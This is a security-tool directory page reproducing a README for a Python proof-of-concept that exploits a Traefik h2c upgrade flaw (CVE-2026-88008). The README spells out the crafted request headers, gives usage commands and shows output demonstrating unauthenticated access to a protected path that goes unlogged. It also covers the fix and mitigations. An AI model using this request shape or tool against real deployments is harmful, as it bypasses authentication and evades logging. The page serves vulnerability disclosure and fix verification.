Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-88008-PoC — Stdlib-only Python PoC for CVE-2026-88008: exploits Traefik h2c upgrade forwarding to tunnel past routers and auth middleware, with a Jetty h2c lab for fix verification. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-88008-poc
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationWeb SecurityPenetration TestingLabs & Practice
GitHubboreas37/cve-2026-88008-poc

CVE-2026-88008-PoC

Stdlib-only Python PoC for CVE-2026-88008: exploits Traefik h2c upgrade forwarding to tunnel past routers and auth middleware, with a Jetty h2c lab for fix verification.

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-88008 — Traefik: unauthorised h2c upgrade tunnels past routers and middleware

Affected: Traefik 2.11.26 → 2.11.56 and 3.7.0 → 3.7.12 Fixed: 2.11.57 / 3.7.13 — commit a277e946 "Do not forward h2c upgrade headers to the backend" Advisory: GHSA-w4v4-9rw7-5326 · CVSS 9.1 Class: CWE-444 (request smuggling / inconsistent interpretation) + CWE-863 (incorrect authorization)

Summary

Traefik's HTTP reverse proxy re-adds the client's Connection: Upgrade / Upgrade: h2c pair while proxying and forwards the HTTP2-Settings header as well. An upstream that implements the RFC 7540 §3.2 h2c upgrade handshake answers 101 Switching Protocols; Go's httputil.ReverseProxy then drops into a raw byte tunnel. Everything after that on the connection is HTTP/2 straight to the backend: Traefik's routers and middlewares (BasicAuth, ForwardAuth, IPAllowList, RateLimit) are never consulted, and the traffic is not access-logged, metered or traced either.

The request shape that makes Traefik forward all three pieces:

GET /public.html HTTP/1.1
Host: target
Connection: Upgrade            # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__

HTTP2-Settings must stay out of the Connection token list, because Go's reverse proxy deletes every header named in Connection before proxying — listing it there strips the settings header and the upstream refuses the upgrade. Naming only Upgrade keeps the header alive while Go still re-adds the Connection: Upgrade / Upgrade: h2c pair. Measured on the real proxy:

# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c

# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
#   -> no Connection, no Upgrade, no Http2-Settings

The fix (pkg/server/service/upgrade.go) wraps the reverse proxy in an h2cUpgradeHandler that deletes Upgrade (when Connection carries the Upgrade token and the value is h2c) and always deletes Http2-Settings.

Usage

# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083

# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check   --url http://127.0.0.1:8084

The PoC is stdlib-only, opens the upgrade on an unprotected path, and — once the tunnel is up — speaks HTTP/2 (raw frames, minimal HPACK) to fetch the middleware-protected path without any credentials. Stream 1 of the new HTTP/2 connection is the replayed upgrade request (RFC 7540 §3.2); the PoC drains it and then sends its own request as stream 3.

Verification

Lab: real traefik:v3.7.12 and traefik:v3.7.13 containers, and a real Jetty 12 upstream with cleartext HTTP/2 (--add-modules=http2c) serving a document that a basicAuth middleware guards. Recipe: lab/README.md.

$ python3 poc.py exploit --url http://127.0.0.1:8083        # Traefik v3.7.12
[*] target        : http://127.0.0.1:8083
[*] public path   : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames  : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
    PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084          # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)

$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)

Traefik's own access log on the vulnerable run shows the smuggling surface: the upgrade request is recorded with a hijacked status (0), and the protected document that the tunnel fetched has no entry at all — the bypass is invisible to access logging:

"GET /protected.html HTTP/1.1" 401 17 ... "prot@file"           <- our baseline check
"GET /public.html HTTP/1.1"   0   0  ... "pub@file" 7ms         <- the upgrade request (tunnelled)
                                                                 <- the tunneled protected fetch: nothing logged

Upstream requirements (read this before claiming impact)

The bypass needs an upstream that accepts the h2c upgrade as Traefik forwards it, i.e. with Connection: Upgrade, Upgrade: h2c and an HTTP2-Settings header but without requiring the HTTP2-Settings token inside Connection. Verified accepting:

  • Jetty 12 with the http2c module (UPGRADE: h2c + settings header is enough) — this is the upstream used in the lab.

Verified rejecting (they additionally insist on the RFC-strict Connection: Upgrade, HTTP2-Settings token list, which Traefik cannot deliver because Go's reverse proxy strips headers named in Connection):

  • Apache httpd mod_http2 — logs AH03086: upgrade without HTTP2-Settings declined
  • Go's golang.org/x/net/http2/h2c — its isH2CUpgrade() requires the HTTP2-Settings token in Connection

So the reachable victim set is upstreams with a lenient h2c upgrade check (Java services on Jetty being the common case), not every backend. The proxy-side bug and the fix boundary are unconditional, which is why the vendor shipped it.

Mitigation

  • Upgrade to Traefik ≥ 2.11.57 / ≥ 3.7.13.
  • If you cannot upgrade, terminate h2c at the edge (do not expose a plain HTTP entrypoint that a client can send Upgrade: h2c to) and disable h2c upgrade support in upstreams (Protocols http/1.1 in Apache, no http2c module in Jetty) — the same flag also kills the sibling advisories in this family (CVE-2026-85595 digestAuth bypass, CVE-2026-71324 CONNECT desync).

Disclosure

Public CVE with a public vendor fix; this repository is an independent reproduction for defenders and for verifying the fix boundary.

Download Tool